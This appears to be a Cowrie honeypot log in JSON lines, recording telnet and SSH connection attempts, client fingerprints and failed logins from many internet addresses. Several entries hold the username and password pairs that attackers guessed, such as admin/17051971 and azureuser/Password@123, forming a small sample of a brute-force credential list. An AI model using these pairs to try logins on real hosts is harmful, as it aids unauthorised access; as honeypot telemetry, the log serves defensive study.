{"eventid":"cowrie.session.connect","src_ip":"185.53.58.141","src_port":59834,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1561b45497b","protocol":"telnet","message":"New connection: 185.53.58.141:59834 (10.17.0.5:23) [session: c1561b45497b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:53:39.820242Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"00000000","message":"login attempt [ubuntu/00000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:53:40.219033Z","src_ip":"103.129.221.202","session":"c02489cd2060","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:53:41.463535Z","src_ip":"103.129.221.202","session":"c02489cd2060","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":36494,"dst_ip":"159.203.135.109","dst_port":23,"session":"b30992d9dbd5","protocol":"telnet","message":"New connection: 69.6.196.124:36494 (159.203.135.109:23) [session: b30992d9dbd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:53:47.418806Z"}
{"eventid":"cowrie.session.closed","duration":30.73330307006836,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:53:48.275902Z","src_ip":"69.6.196.124","session":"d48eb14a72e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.059094190597534,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:53:55.308088Z","src_ip":"69.6.196.124","session":"f300aa11d517","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":7973,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c7c10b2c28b","protocol":"ssh","message":"New connection: 2.57.121.112:7973 (159.203.135.109:22) [session: 7c7c10b2c28b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:03.666240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:03.670972Z","src_ip":"2.57.121.112","session":"7c7c10b2c28b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:03.772033Z","src_ip":"2.57.121.112","session":"7c7c10b2c28b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"17051971","message":"login attempt [admin/17051971] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:04.249526Z","src_ip":"2.57.121.112","session":"7c7c10b2c28b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"17051970","message":"login attempt [admin/17051970] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:05.353420Z","src_ip":"2.57.121.112","session":"7c7c10b2c28b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"170482","message":"login attempt [admin/170482] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:06.456610Z","src_ip":"2.57.121.112","session":"7c7c10b2c28b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"17041996","message":"login attempt [admin/17041996] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:07.559305Z","src_ip":"2.57.121.112","session":"7c7c10b2c28b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.184.50.251","src_port":43036,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d02975ffca5","protocol":"ssh","message":"New connection: 201.184.50.251:43036 (10.17.0.5:22) [session: 3d02975ffca5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:07.638514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:07.643016Z","src_ip":"201.184.50.251","session":"3d02975ffca5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:07.732707Z","src_ip":"201.184.50.251","session":"3d02975ffca5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitnami","password":"bitnami@123","message":"login attempt [bitnami/bitnami@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:08.125014Z","src_ip":"201.184.50.251","session":"3d02975ffca5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"17041963","message":"login attempt [admin/17041963] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:08.663487Z","src_ip":"2.57.121.112","session":"7c7c10b2c28b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:09.217809Z","src_ip":"201.184.50.251","session":"3d02975ffca5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:09.767866Z","src_ip":"2.57.121.112","session":"7c7c10b2c28b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.562429189682007,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:10.333799Z","src_ip":"69.6.196.124","session":"b4b9aa5e97b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.994765996932983,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:10.814816Z","src_ip":"185.53.58.141","session":"c1561b45497b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":54748,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f450b31b4de","protocol":"telnet","message":"New connection: 69.6.196.124:54748 (159.203.135.109:23) [session: 0f450b31b4de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:13.957948Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.63.62.103","src_port":37364,"dst_ip":"10.17.0.5","dst_port":22,"session":"92967b293dca","protocol":"ssh","message":"New connection: 41.63.62.103:37364 (10.17.0.5:22) [session: 92967b293dca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:14.934016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:14.939275Z","src_ip":"41.63.62.103","session":"92967b293dca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:15.208651Z","src_ip":"41.63.62.103","session":"92967b293dca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user123456","message":"login attempt [user1/user123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:16.336255Z","src_ip":"41.63.62.103","session":"92967b293dca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":40620,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9e7969a832a","protocol":"ssh","message":"New connection: 103.13.206.100:40620 (10.17.0.5:22) [session: c9e7969a832a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:16.357164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:16.364510Z","src_ip":"103.13.206.100","session":"c9e7969a832a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:16.601094Z","src_ip":"103.13.206.100","session":"c9e7969a832a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":54750,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c4d1a945c6d","protocol":"telnet","message":"New connection: 69.6.196.124:54750 (159.203.135.109:23) [session: 8c4d1a945c6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:16.817300Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":54756,"dst_ip":"159.203.135.109","dst_port":23,"session":"1cf15b52551b","protocol":"telnet","message":"New connection: 69.6.196.124:54756 (159.203.135.109:23) [session: 1cf15b52551b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:17.366715Z"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"Password@123","message":"login attempt [azureuser/Password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:17.551535Z","src_ip":"103.13.206.100","session":"c9e7969a832a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:17.610911Z","src_ip":"41.63.62.103","session":"92967b293dca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":54762,"dst_ip":"159.203.135.109","dst_port":23,"session":"07e49efdd185","protocol":"telnet","message":"New connection: 69.6.196.124:54762 (159.203.135.109:23) [session: 07e49efdd185]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:17.672508Z"}
{"eventid":"cowrie.session.closed","duration":31.07923150062561,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:18.497934Z","src_ip":"69.6.196.124","session":"b30992d9dbd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":54770,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7f2fb01d42f","protocol":"telnet","message":"New connection: 69.6.196.124:54770 (159.203.135.109:23) [session: f7f2fb01d42f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:18.784967Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:18.794358Z","src_ip":"103.13.206.100","session":"c9e7969a832a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":54778,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae26b4271baf","protocol":"telnet","message":"New connection: 69.6.196.124:54778 (159.203.135.109:23) [session: ae26b4271baf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:18.841037Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.53.58.141","src_port":32918,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbd0bca1a941","protocol":"telnet","message":"New connection: 185.53.58.141:32918 (10.17.0.5:23) [session: fbd0bca1a941]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:23.569036Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":47080,"dst_ip":"159.203.135.109","dst_port":23,"session":"62416c0931e9","protocol":"telnet","message":"New connection: 69.6.196.124:47080 (159.203.135.109:23) [session: 62416c0931e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:27.962516Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":47094,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0637a6364ee","protocol":"telnet","message":"New connection: 69.6.196.124:47094 (159.203.135.109:23) [session: b0637a6364ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:29.349366Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":40980,"dst_ip":"159.203.135.109","dst_port":23,"session":"cee5e7a15a51","protocol":"telnet","message":"New connection: 69.6.196.124:40980 (159.203.135.109:23) [session: cee5e7a15a51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:30.785262Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":40986,"dst_ip":"159.203.135.109","dst_port":23,"session":"96c812c515a9","protocol":"telnet","message":"New connection: 69.6.196.124:40986 (159.203.135.109:23) [session: 96c812c515a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:31.547959Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":41000,"dst_ip":"159.203.135.109","dst_port":23,"session":"5591234c826b","protocol":"telnet","message":"New connection: 69.6.196.124:41000 (159.203.135.109:23) [session: 5591234c826b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:35.110889Z"}
{"eventid":"cowrie.session.closed","duration":30.462681770324707,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:44.420482Z","src_ip":"69.6.196.124","session":"0f450b31b4de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":52216,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5ec0e6fc199","protocol":"telnet","message":"New connection: 69.6.196.124:52216 (159.203.135.109:23) [session: d5ec0e6fc199]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:46.014790Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":52228,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ac8b619ba2a","protocol":"telnet","message":"New connection: 69.6.196.124:52228 (159.203.135.109:23) [session: 2ac8b619ba2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:47.028024Z"}
{"eventid":"cowrie.session.closed","duration":30.913636207580566,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:48.280229Z","src_ip":"69.6.196.124","session":"1cf15b52551b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.750206232070923,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:48.422594Z","src_ip":"69.6.196.124","session":"07e49efdd185","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.452645540237427,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:49.293567Z","src_ip":"69.6.196.124","session":"ae26b4271baf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.73557662963867,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:49.552750Z","src_ip":"69.6.196.124","session":"8c4d1a945c6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.187170028686523,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:49.972015Z","src_ip":"69.6.196.124","session":"f7f2fb01d42f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00108647346497,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:50.817550Z","src_ip":"102.39.198.75","session":"2c4dd1ab936b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.39.198.75","src_port":55352,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b9e099fc04e","protocol":"telnet","message":"New connection: 102.39.198.75:55352 (159.203.135.109:23) [session: 9b9e099fc04e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:51.364484Z"}
{"eventid":"cowrie.session.closed","duration":31.817546367645264,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:55.386439Z","src_ip":"185.53.58.141","session":"fbd0bca1a941","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":42124,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f1e615dd805","protocol":"telnet","message":"New connection: 69.6.196.124:42124 (159.203.135.109:23) [session: 5f1e615dd805]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:57.435591Z"}
{"eventid":"cowrie.session.closed","duration":30.820714950561523,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:54:58.783118Z","src_ip":"69.6.196.124","session":"62416c0931e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.101601362228394,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:55:00.450806Z","src_ip":"69.6.196.124","session":"b0637a6364ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.50521492958069,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:55:01.290364Z","src_ip":"69.6.196.124","session":"cee5e7a15a51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":52206,"dst_ip":"159.203.135.109","dst_port":23,"session":"da387cce37d0","protocol":"telnet","message":"New connection: 69.6.196.124:52206 (159.203.135.109:23) [session: da387cce37d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:55:02.667491Z"}
{"eventid":"cowrie.session.closed","duration":31.1324520111084,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:55:02.680309Z","src_ip":"69.6.196.124","session":"96c812c515a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.184.50.251","src_port":59766,"dst_ip":"10.17.0.5","dst_port":22,"session":"d11eab24646d","protocol":"ssh","message":"New connection: 201.184.50.251:59766 (10.17.0.5:22) [session: d11eab24646d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:55:03.143882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:55:03.148978Z","src_ip":"201.184.50.251","session":"d11eab24646d","protocol":"ssh"}
